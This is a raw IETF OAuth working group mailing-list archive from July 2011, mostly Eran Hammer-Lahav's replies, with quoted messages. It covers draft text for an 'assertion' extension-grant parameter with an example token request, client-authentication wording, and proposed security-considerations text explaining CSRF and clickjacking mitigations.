J./Chuck M. (or me) to draft 4.5.1 subsection on assertions X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 04 Jul 2011 18:54:21 -0000 --_000_CA375A58160C3eranhueniversecom_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable What about the example using SAML assertion? From: Brian Campbell > Date: Mon, 4 Jul 2011 11:42:21 -0700 To: Eran Hammer-lahav > Cc: oauth > Subject: Re: [OAUTH-WG] TODO: Mike J./Chuck M. (or me) to draft 4.5.1 subse= ction on assertions I believe the new assertion draft covers it and this change can be sidelined as long as the new draft has WG support to move forward. On Mon, Jul 4, 2011 at 12:38 PM, Eran Hammer-Lahav > wrote: In light of the new assertion draft, do we still want to make this change? EHL From: Brian Campbell > Date: Tue, 24 May 2011 07:25:12 -0700 To: oauth > Subject: [OAUTH-WG] TODO: Mike J./Chuck M. (or me) to draft 4.5.1 subsectio= n on assertions One of the action items out of yesterday's meeting was to draft some text for a section 4.5.1 in core that defined the optional but recommended use of an "assertion" parameter for extension grants where the use of a single parameter to carry the grant/assertion was possible. Below is a first cut at some proposed text that hopefully avoids some of the awkwardness that EHL described in previous attempts to introduce such a parameter. Comments or edits or editorial improvements are, of course, welcome. But I think this hopefully captures the intent of what was discussed yesterday (and before). If we get some consensus to make this change, I think a couple of other actions are implied. - The IANA assertion parameter registration request (http://tools.ietf.org/html/draft-ietf-oauth-saml2-bearer-04#section-4.1) should be removed from the SAML draft and put into http://tools.ietf.org/html/draft-ietf-oauth-v2 - The http://tools.ietf.org/html/draft-jones-oauth-jwt-bearer-00 spec will change the parameter it uses from jwt to assertion and drop the registration request for jwt (http://tools.ietf.org/html/draft-jones-oauth-jwt-bearer-00#section-4.1) --- proposed text for sections 4.5 & 4.5.1 --- 4.5. Extensions The client uses an extension grant type by specifying the grant type using an absolute URI (defined by the authorization server) as the value of the "grant_type" parameter of the token endpoint, and by adding any additional parameters necessary. If the access token request is valid and authorized, the authorization server issues an access token and optional refresh token as described in Section 5.1. If the request failed client authentication or is invalid, the authorization server returns an error response as described in Section 5.2. 4.5.1 Assertion Based Extension Grants If the value of the extension grant can be serialized into a single parameter, as is case with a number of assertion formats, it is RECOMMENDED that that a parameter named "assertion" be used to carry the value. assertion REQUIRED. The assertion. The format and encoding of the assertion is defined by the authorization server or extension specification. For example, to request an access token using a SAML 2.0 assertion grant type as defined by [I-D.ietf-oauth-saml2-bearer], the client makes the following HTTP request using transport-layer security (line breaks are for display purposes only): POST /token HTTP/1.1 Host: server.example.com Content-Type: application/x-www-form-urlencoded grant_type=3Dhttp%3A%2F%2Foauth.net%2Fgrant_type%2Fsaml%2F2.0%2F bearer&assertion=3DPEFzc2VydGlvbiBJc3N1ZUluc3RhbnQ9IjIwMTEtMDUtM [...omitted for brevity...]V0aG5TdGF0ZW1lbnQ-PC9Bc3NlcnRpb24- _______________________________________________ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth --_000_CA375A58160C3eranhueniversecom_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable
What about the example u= sing SAML assertion?

=
From: Brian Campbell <bcampbell@pingidentity.com>
Date: Mon, 4 Jul 2011 11:42:21 -0700
To: Eran Hammer-lahav <eran@hueniverse.com>
Cc:= oauth <oauth@ietf.org>=
Subject: Re: [OAUTH-WG] TODO: = Mike J./Chuck M. (or me) to draft 4.5.1 subsection on assertions
<= div>
I believe the new assertion draft covers it and this change can be<= /div>
sidelined as long as the new draft has WG support to move forward= .

On Mon, Jul 4, 2011 at 12:38 PM, Eran Hammer-Lah= av <eran@hueniverse.com> w= rote:
In lig= ht of the new assertion draft, do we still want to make this change?
<= div> EHL
From: Brian Campbell <bcampbell@pingidentity.com>
Date: Tue, 24= May 2011 07:25:12 -0700
To: oauth <oauth@ietf.org>
Subject: [OAUTH-WG] TODO: Mike J= ./Chuck M. (or me) to draft 4.5.1 subsection
on assertions
=

One of the action items out of yesterday's meeting was= to draft some
text for a section 4.5.1 in core that defined the= optional but
recommended use of an "assertion" parameter for ex= tension grants where
the use of a single parameter to carry the = grant/assertion was
possible.  Below is a first cut at= some proposed text that hopefully
avoids some of the awkwardnes= s that EHL described in previous attempts
to introduce such a pa= rameter.  Comments or edits or editorial
improvements = are, of course, welcome.  But I think this hopefully
c= aptures the intent of what was discussed yesterday (and before).
= If we get some consensus to make this change, I think a couple of
other actions are implied.
- The IANA assertion parameter reg= istration request
should be removed from = the SAML draft and put into
http://tools.ietf.org/html/draft-ietf-oauth-v2
will change the parameter it uses from jwt to assertion and= drop the
registration request for jwt
(http:= //tools.ietf.org/html/draft-jones-oauth-jwt-bearer-00#section-4.1)

--- proposed text for sections 4.5 & 4.5.1 ---
4.5. Extensions
   The client uses an extensi= on grant type by specifying the grant type
   using an= absolute URI (defined by the authorization server) as the
 = ;  value of the "grant_type" parameter of the token endpoint, and by
   adding any additional parameters necessary.
   If the access token request is valid and authorized, the
   authorization server issues an access token and optio= nal refresh
   token as described in Section 5.1. = ; If the request failed client
   authentication = or is invalid, the authorization server returns an
   = error response as described in Section 5.2.
4.5.1 Assertion Base= d Extension Grants
  If the value of the extension gra= nt can be serialized into a single
  parameter, as is = case with a number of assertion formats, it is
  RECOM= MENDED that that a parameter named "assertion" be used to
 =  carry the value.
   assertion
 &= nbsp;       REQUIRED.  The assertio= n. The format and encoding of the
     =         assertion is defined by the auth= orization server or
       &n= bsp;     extension specification.
 &nbs= p; For example, to request an access token using a SAML 2.0 assertion
=
   grant type as defined by [I-D.ietf-oauth-saml2-bearer], = the client
   makes the following HTTP request using t= ransport-layer security (line
   breaks are for displa= y purposes only):
   POST /token HTTP/1.1
&= nbsp;  Host: server.example.com
   Content-Type: = application/x-www-form-urlencoded
   grant_type=3Dhttp= %3A%2F%2Foauth.net%2Fgrant_type%2Fsaml%2F2.0%2F
   bea= rer&assertion=3DPEFzc2VydGlvbiBJc3N1ZUluc3RhbnQ9IjIwMTEtMDUtM
   [...omitted for brevity...]V0aG5TdGF0ZW1lbnQ-PC9Bc3NlcnRpb24= -
_______________________________________________
OAu= th mailing list


--_000_CA375A58160C3eranhueniversecom_-- From eran@hueniverse.com Mon Jul 4 12:01:07 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id A04A321F8555 for ; Mon, 4 Jul 2011 12:01:07 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.762 X-Spam-Level: X-Spam-Status: No, score=-2.762 tagged_above=-999 required=5 tests=[AWL=-0.164, BAYES_00=-2.599, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id wFrtCkf0jttX for ; Mon, 4 Jul 2011 12:01:07 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id 956E01F0CE7 for ; Mon, 4 Jul 2011 12:00:29 -0700 (PDT) Received: (qmail 22358 invoked from network); 4 Jul 2011 19:00:29 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.20) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 4 Jul 2011 19:00:29 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT002.EX1.SECURESERVER.NET ([72.167.180.20]) with mapi; Mon, 4 Jul 2011 12:00:29 -0700 From: Eran Hammer-Lahav To: Torsten Lodderstedt , OAuth WG Date: Mon, 4 Jul 2011 12:00:22 -0700 Thread-Topic: Section 10.1 (Client authentication) Thread-Index: Acw6fKPrwfqBJzHnTaiPewT7mQvOFg== Message-ID: In-Reply-To: <4DE5F001.9030002@lodderstedt.net> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: user-agent: Microsoft-MacOutlook/14.12.0.110505 acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_CA375AE0160C6eranhueniversecom_" MIME-Version: 1.0 Subject: Re: [OAUTH-WG] Section 10.1 (Client authentication) X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 04 Jul 2011 19:01:07 -0000 --_000_CA375AE0160C6eranhueniversecom_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable It's a pointless MUST given how undefined the requirements are. It will onl= y be understood by security experts and they don't really need it. At a min= imum, it needs some examples. EHL From: Torsten Lodderstedt > Date: Wed, 1 Jun 2011 00:53:37 -0700 To: Eran Hammer-lahav >, OA= uth WG > Subject: Section 10.1 (Client authentication) Hi Eran, would you please add the following sentence (which was contained in the original security considerations text) to the second paragraph of section 1.0.1? Alternatively, authorization servers MUST utilize other means than client authentication to achieve their security objectives. I think it's important to state that authorization server should consider alternative way to validate the client identity if secrets cannot be used. The security threat document also suggest some. regards, Torsten. --_000_CA375AE0160C6eranhueniversecom_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable
It's a pointless MUST gi= ven how undefined the requirements are. It will only be understood by secur= ity experts and they don't really need it. At a minimum, it needs some exam= ples.

EHL

From: Torsten Lodderstedt <torsten@lodderstedt.net>
Date: Wed, 1 Jun 2011 00:53:37 -0700
To: Eran Hammer-lahav <eran@hueniverse.com>, OAuth WG <oauth@ietf.org>
Subject: Section 10.1 (Client authentication)
<= br>
Hi Eran,

would you please add the following sente= nce (which was contained in the
original security considerations= text) to the second paragraph of
section 1.0.1?

<= /div>
Alternatively, authorization servers MUST utilize
 = ;   other means than client authentication to achieve their = security
    objectives.

=

I think it's important to state that authorization serv= er should
consider alternative way to validate the client identi= ty if secrets
cannot be used. The security threat document also = suggest some.

regards,
Torsten.



<= /body> --_000_CA375AE0160C6eranhueniversecom_-- From eran@hueniverse.com Mon Jul 4 12:03:04 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 54DB821F85A4 for ; Mon, 4 Jul 2011 12:03:04 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.749 X-Spam-Level: X-Spam-Status: No, score=-2.749 tagged_above=-999 required=5 tests=[AWL=-0.151, BAYES_00=-2.599, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id bcHBwcIBEB9N for ; Mon, 4 Jul 2011 12:03:03 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id 8483A11E80CF for ; Mon, 4 Jul 2011 12:02:12 -0700 (PDT) Received: (qmail 30467 invoked from network); 4 Jul 2011 19:02:11 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 4 Jul 2011 19:02:11 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Mon, 4 Jul 2011 12:02:11 -0700 From: Eran Hammer-Lahav To: Mark Mcgloin , Torsten Lodderstedt Date: Mon, 4 Jul 2011 12:02:02 -0700 Thread-Topic: [OAUTH-WG] Draft 16 Security Considerations additions Thread-Index: Acw6fOD94aB/8gIxTHq+Tmt4YxC00g== Message-ID: In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: user-agent: Microsoft-MacOutlook/14.12.0.110505 acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_CA375C11160D0eranhueniversecom_" MIME-Version: 1.0 Cc: "oauth@ietf.org" Subject: Re: [OAUTH-WG] Draft 16 Security Considerations additions X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 04 Jul 2011 19:03:04 -0000 --_000_CA375C11160D0eranhueniversecom_ Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable This needs to be reworked to reflect reality. The state value must be share= d with the resource owner's browser and authorization server, so it is not = really a secret known only to the client=85 EHL From: Mark Mcgloin = > Date: Wed, 1 Jun 2011 11:28:33 -0700 To: Torsten Lodderstedt > Cc: "oauth@ietf.org" > Subject: Re: [OAUTH-WG] Draft 16 Security Considerations additions Hi Torsten It was implicit that the state parameter would be secret and not guessable but that it probably worth spelling out, as you and Breno state. Here is a modified version CSRF Cross-Site Request Forgery (CSRF) is a web-based attack whereby HTTP requests are transmitted from a user that the website trusts or has authenticated. CSRF attacks on OAuth approvals can allow an attacker to obtain authorization to OAuth Protected Resources without the consent of the User. The state parameter should be used to mitigate against CSRF attacks, particularly for login CSRF attacks. It is strongly RECOMMENDED that the client sends the state parameter with authorization requests to the authorization server. The state parameter MUST be non-guessable and MUST be a secret only accessible to the client. The authorization server will send it in the response when redirecting the user to back to the client which MUST then validate the state parameter matches on the response. Regards Mark Torsten Lodderstedt > wrote on 01/06/2011 09:11:31: From: Torsten Lodderstedt > To: Mark Mcgloin/Ireland/IBM@IBMIE Cc: oauth@ietf.org Date: 01/06/2011 09:11 Subject: Re: [OAUTH-WG] Draft 16 Security Considerations additions Hi Mark, Am 31.05.2011 22:58, schrieb Mark Mcgloin: > Eran > > Here are some additional sections to add to the next draft under security > considerations > > CSRF > Cross-Site Request Forgery (CSRF) is a web-based attack whereby HTTP > requests are transmitted from a user that the website trusts or has > authenticated. CSRF attacks on OAuth approvals can allow an attacker to > obtain authorization to OAuth Protected Resources without the consent of > the User. > The state parameter should be used to mitigate against CSRF attacks, > particularly for login CSRF attacks. It is strongly RECOMMENDED that the > client sends the state parameter with authorization requests to the > authorization server. The authorization server will send it in the response > when redirecting the user to back to the client which SHOULD then validate > the state parameter matches on the response. As far as I understand, the goal of the countermeasure is to bind the authz flow to a certain user agent (instance). So client must verify that the state parameter (or any other URL parameter?) matches some data found in the user agent itself before further processing the authz code. Breno explained it as follows: ----- - Client or user-agent generates a secret. - The secret is stored in a location accessible only by the client or the user agent (i.e., protected by same-origin policy). E.g.: DOM variable (protected by javascript or other DOM-binding language's enforcement of SOP), HTTP cookie, HTML5 client-side storage, etc. - The secret is attached to the state before a request is issued by the client - When the response is received, before accepting the token or code, the client consults the user agent state and rejects the response altogether if the state does not match the user agent's stored value. ---- I would suggest to incorporate this into the decription: It is strongly RECOMMENDED that the client sends the state parameter with authorization requests to the authorization server. _The state parameter MUST refer to a secret value retained at the user agent._ The authorization server will send the _state parameter_ in the response when redirecting the user to back to the client which _MUST_ then validate the state parameter_'s value against the secret value in the user agent_. regards, Torsten. > Clickjacking > Clickjacking is the process of tricking users into revealing confidential > information or taking control of their computer while clicking on seemingly > innocuous web pages. In more detail, a malicious site loads the target site > in a transparent iframe overlaid on top of a set of dummy buttons which are > carefully constructed to be placed directly under important buttons on the > target site. When a user clicks a visible button, they are actually > clicking a button (such as an "Authorize" button) on the hidden page. > To prevent clickjacking (and phishing attacks), native applications SHOULD > use external browsers instead of embedding browsers in an iFrame when > requesting end-user authorization. For newer browsers, avoidance of iFrames > can be enforced server side by using the X-FRAME-OPTION header. This header > can have two values, deny and sameorigin, which will block any framing or > framing by sites with a different origin, respectively. For older browsers, > javascript framebusting techniques can be used but may not be effective in > all browsers. > > > Regards > Mark > > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth _______________________________________________ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth --_000_CA375C11160D0eranhueniversecom_ Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable
This needs to be reworked to re= flect reality. The state value must be shared with the resource owner's bro= wser and authorization server, so it is not really a secret known only to t= he client=85

EHL

From: Mark Mcgloin <mark.mcgloin@ie.ibm.com>
Date: Wed, 1 Jun 2011 11:28:33 -0700
To: Torsten Lodderstedt <torsten@lodderstedt.net>
Cc: "o= auth@ietf.org" <oauth@ietf.or= g>
Subject: Re: [OAUTH-W= G] Draft 16 Security Considerations additions


Hi Torsten

It was implicit that the state parame= ter would be secret and not guessable
but that it probably worth = spelling out, as you and Breno state. Here is a
modified version<= /div>


CSRF
Cross-Site Request F= orgery (CSRF) is a web-based attack whereby HTTP
requests are tra= nsmitted from a user that the website trusts or has
authenticated= . CSRF attacks on OAuth approvals can allow an attacker to
obtain= authorization to OAuth Protected Resources without the consent of
the User.
The state parameter should be used to mitigate agains= t CSRF attacks,
particularly for login CSRF attacks. It is strong= ly RECOMMENDED that the
client sends the state parameter with aut= horization requests to the
authorization server. The state parame= ter MUST be non-guessable and MUST be
a secret only accessible to= the client. The authorization server will send
it in the respons= e when redirecting the user to back to the client which
MUST then= validate the state parameter matches on the response.

=

Regards
Mark

Torsten= Lodderstedt <torsten@lodders= tedt.net> wrote on 01/06/2011 09:11:31:

From:

Torsten Lodderstedt <t= orsten@lodderstedt.net>

To:

=
Mark Mcgloin/Ireland/IBM@IBMIE

=
> requests are transmitted from a user that the website trusts or = has
> authenticated. CSRF attacks on OAuth approvals can allo= w an attacker to
> obtain authorization to OAuth Protected Re= sources without the consent
of
> the User.
> = The state parameter should be used to mitigate against CSRF attacks,
<= div> > particularly for login CSRF attacks. It is strongly RECOMMENDED t= hat
=
- The secret is attached to the state before a request is issued by t= he
client
- When the response is received, before acc= epting the token or code, the
client consults the user agent sta= te and rejects the response altogether
if the state does not mat= ch the user agent's stored value.
----

= I would suggest to incorporate this into the decription:

It is strongly RECOMMENDED that the client sends the state paramet= er
with authorization requests to the authorization server. _The= state
parameter MUST refer to a secret value retained at the us= er agent._
The authorization server will send the _state paramet= er_ in the
response when redirecting the user to back to the cli= ent which
_MUST_ then validate the state parameter_'s value agai= nst the secret
value in the user agent_.


regards,
Torsten.




> Clickjacking=
> Clickjacking is the process of tricking users into reveali= ng
confidential
> information or taking control of their comp= uter while clicking on
seemingly
> innocuous web pages. In mo= re detail, a malicious site loads the target
site
> in a tran= sparent iframe overlaid on top of a set of dummy buttons which
are
> carefully constructed to be placed directly under important buttons= on
the
> target site. When a user clicks a visible button, t= hey are actually
> clicking a button (such as an "Author= ize" button) on the hidden page.
> To prevent clickjacki= ng (and phishing attacks), native applications
SHOUL= D
> use e= xternal browsers instead of embedding browsers in an iFrame when
= > requesting end-user authorization. For newer browsers, avoidance of
iFrames
> can be enforced server side by using the X-FRAME-OPT= ION header. This
header
> can have two values, deny and sameo= rigin, which will block any framing
or
> framing by sites wit= h a different origin, respectively. For older
browse= rs,
> jav= ascript framebusting techniques can be used but may not be effective
<= /blockquote>
in
OAuth@ietf.org

____= ___________________________________________
--_000_CA375C11160D0eranhueniversecom_-- From eran@hueniverse.com Mon Jul 4 12:05:34 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 4C38211E8090 for ; Mon, 4 Jul 2011 12:05:34 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.738 X-Spam-Level: X-Spam-Status: No, score=-2.738 tagged_above=-999 required=5 tests=[AWL=-0.140, BAYES_00=-2.599, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id yUWCJ6DgOJ9F for ; Mon, 4 Jul 2011 12:05:33 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id A28D01F0CAC for ; Mon, 4 Jul 2011 12:05:33 -0700 (PDT) Received: (qmail 26520 invoked from network); 4 Jul 2011 19:05:33 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.20) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 4 Jul 2011 19:05:33 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT002.EX1.SECURESERVER.NET ([72.167.180.20]) with mapi; Mon, 4 Jul 2011 12:05:33 -0700 From: Eran Hammer-Lahav To: Barry Leiba , OAuth WG Date: Mon, 4 Jul 2011 12:05:26 -0700 Thread-Topic: [OAUTH-WG] draft 16 review notes Thread-Index: Acw6fVlgDB4FTk1dS/GNhM+HiUO4+Q== Message-ID: In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: user-agent: Microsoft-MacOutlook/14.12.0.110505 acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_CA375C70160D3eranhueniversecom_" MIME-Version: 1.0 Subject: Re: [OAUTH-WG] draft 16 review notes X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 04 Jul 2011 19:05:34 -0000 --_000_CA375C70160D3eranhueniversecom_ Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable As I go over recent feedback, anything that requires additional text will b= e bounced back to the list for new proposed language. I need to receive it = by noon PT Thur, to be included in =9617 (assuming no objections). EHL From: Barry Leiba > Date: Mon, 4 Jul 2011 09:16:28 -0700 To: OAuth WG > Subject: Re: [OAUTH-WG] draft 16 review notes On Sun, Jul 3, 2011 at 11:21 PM, Eran Hammer-Lahav > wrote: Need proposed text. ... Need proposed text. ... Need proposed text. I will add to this that at this stage in the document development, any requests for changes need to be accompanied by specific proposed text. If you absolutely can't come up with anything, you may make the comment anyway and explain why you're at a loss for text, but realize that the editors might not be able to incorporate your suggestion, though they will try. The editors plan to submit a -17 version this week, and when they do we will start Working Group Last Call. We will expect ALL suggestions for changes to be specific about what text they propose. Barry, as chair _______________________________________________ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth --_000_CA375C70160D3eranhueniversecom_ Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable
As I go over recent feedback, a= nything that requires additional text will be bounced back to the list for = new proposed language. I need to receive it by noon PT Thur, to be included= in =9617 (assuming no objections).

EHL
=
From: Barry Leiba &= lt;barryleiba@computer.org&g= t;
Date: Mon, 4 Jul 2011 09:16:= 28 -0700
To: OAuth WG <oauth@ietf.org>
Subject: Re: [OAUTH-WG] draft 16 review notes

On Sun, Jul 3, 2011 at 11:21 PM, Eran Hammer-Lahav <eran@hueniverse.com> wrote:
Need proposed text.
=
...
Need proposed text.
...
Need proposed text.

I will add to this that at this stage in the do= cument development, any
requests for changes need to be accompani= ed by specific proposed text.
If you absolutely can't come up wi= th anything, you may make the
comment anyway and explain why you'= re at a loss for text, but realize
that the editors might not be = able to incorporate your suggestion,
though they will try.
<= div>
The editors plan to submit a -17 version this week, and = when they do
we will start Working Group Last Call.  We= will expect ALL suggestions
for changes to be specific about wha= t text they propose.

Barry, as chair
___= ____________________________________________
--_000_CA375C70160D3eranhueniversecom_-- From bcampbell@pingidentity.com Mon Jul 4 12:27:06 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id B923E11E8095 for ; Mon, 4 Jul 2011 12:27:06 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -5.837 X-Spam-Level: X-Spam-Status: No, score=-5.837 tagged_above=-999 required=5 tests=[AWL=0.006, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, HTTP_ESCAPED_HOST=0.134, RCVD_IN_DNSWL_MED=-4] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 7kk3nSfiJo6U for ; Mon, 4 Jul 2011 12:27:06 -0700 (PDT) Received: from na3sys009aog103.obsmtp.com (na3sys009aog103.obsmtp.com [74.125.149.71]) by ietfa.amsl.com (Postfix) with ESMTP id BC52111E807A for ; Mon, 4 Jul 2011 12:27:05 -0700 (PDT) Received: from mail-qw0-f47.google.com ([209.85.216.47]) (using TLSv1) by na3sys009aob103.postini.com ([74.125.148.12]) with SMTP ID DSNKThIUBVvkB6LnkMbVpD8opO1MyoQTvPpI@postini.com; Mon, 04 Jul 2011 12:27:05 PDT Received: by qwh5 with SMTP id 5so3055393qwh.20 for ; Mon, 04 Jul 2011 12:27:01 -0700 (PDT) Received: by 10.224.177.205 with SMTP id bj13mr5306633qab.287.1309807621112; Mon, 04 Jul 2011 12:27:01 -0700 (PDT) MIME-Version: 1.0 Received: by 10.224.28.201 with HTTP; Mon, 4 Jul 2011 12:26:31 -0700 (PDT) In-Reply-To: References: From: Brian Campbell Date: Mon, 4 Jul 2011 13:26:31 -0600 Message-ID: To: Eran Hammer-Lahav Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: oauth Subject: Re: [OAUTH-WG] TODO: Mike J./Chuck M. (or me) to draft 4.5.1 subsection on assertions X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 04 Jul 2011 19:27:06 -0000 Either way. It could stay in there, if you want to show a concrete example of an extension grant type. Or it could be removed too - draft-ietf-oauth-assertions and draft-ietf-oauth-saml2-bearer will have plenty of examples. On Mon, Jul 4, 2011 at 12:54 PM, Eran Hammer-Lahav wr= ote: > What about the example using SAML assertion? > From: Brian Campbell > Date: Mon, 4 Jul 2011 11:42:21 -0700 > To: Eran Hammer-lahav > Cc: oauth > Subject: Re: [OAUTH-WG] TODO: Mike J./Chuck M. (or me) to draft 4.5.1 > subsection on assertions > > I believe the new assertion draft covers it and this change can be > sidelined as long as the new draft has WG support to move forward. > On Mon, Jul 4, 2011 at 12:38 PM, Eran Hammer-Lahav > wrote: > > In light of the new assertion draft, do we still want to make this change= ? > EHL > From: Brian Campbell > Date: Tue, 24 May 2011 07:25:12 -0700 > To: oauth > Subject: [OAUTH-WG] TODO: Mike J./Chuck M. (or me) to draft 4.5.1 subsect= ion > on assertions > One of the action items out of yesterday's meeting was to draft some > text for a section 4.5.1 in core that defined the optional but > recommended use of an "assertion" parameter for extension grants where > the use of a single parameter to carry the grant/assertion was > possible.=A0=A0Below is a first cut at some proposed text that hopefully > avoids some of the awkwardness that EHL described in previous attempts > to introduce such a parameter.=A0=A0Comments or edits or editorial > improvements are, of course, welcome.=A0=A0But I think this hopefully > captures the intent of what was discussed yesterday (and before). > If we get some consensus to make this change, I think a couple of > other actions are implied. > - The IANA assertion parameter registration request > (http://tools.ietf.org/html/draft-ietf-oauth-saml2-bearer-04#section-4.1) > should be removed from the SAML draft and put into > http://tools.ietf.org/html/draft-ietf-oauth-v2 > - The http://tools.ietf.org/html/draft-jones-oauth-jwt-bearer-00 spec > will change the parameter it uses from jwt to assertion and drop the > registration request for jwt > (http://tools.ietf.org/html/draft-jones-oauth-jwt-bearer-00#section-4.1) > --- proposed text for sections 4.5 & 4.5.1 --- > 4.5. Extensions > =A0=A0 The client uses an extension grant type by specifying the grant ty= pe > =A0=A0 using an absolute URI (defined by the authorization server) as the > =A0=A0 value of the "grant_type" parameter of the token endpoint, and by > =A0=A0 adding any additional parameters necessary. > =A0=A0 If the access token request is valid and authorized, the > =A0=A0 authorization server issues an access token and optional refresh > =A0=A0 token as described in Section 5.1.=A0=A0If the request failed clie= nt > =A0=A0 authentication or is invalid, the authorization server returns an > =A0=A0 error response as described in Section 5.2. > 4.5.1 Assertion Based Extension Grants > =A0=A0If the value of the extension grant can be serialized into a single > =A0=A0parameter, as is case with a number of assertion formats, it is > =A0=A0RECOMMENDED that that a parameter named "assertion" be used to > =A0=A0carry the value. > =A0=A0 assertion > =A0=A0=A0=A0=A0=A0=A0=A0 REQUIRED.=A0=A0The assertion. The format and enc= oding of the > =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 assertion is defined by the authoriz= ation server or > =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 extension specification. > =A0=A0 For example, to request an access token using a SAML 2.0 assertion > =A0=A0 grant type as defined by [I-D.ietf-oauth-saml2-bearer], the client > =A0=A0 makes the following HTTP request using transport-layer security (l= ine > =A0=A0 breaks are for display purposes only): > =A0=A0 POST /token HTTP/1.1 > =A0=A0 Host: server.example.com > =A0=A0 Content-Type: application/x-www-form-urlencoded > =A0=A0 grant_type=3Dhttp%3A%2F%2Foauth.net%2Fgrant_type%2Fsaml%2F2.0%2F > =A0=A0 bearer&assertion=3DPEFzc2VydGlvbiBJc3N1ZUluc3RhbnQ9IjIwMTEtMDUtM > =A0=A0 [...omitted for brevity...]V0aG5TdGF0ZW1lbnQ-PC9Bc3NlcnRpb24- > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > 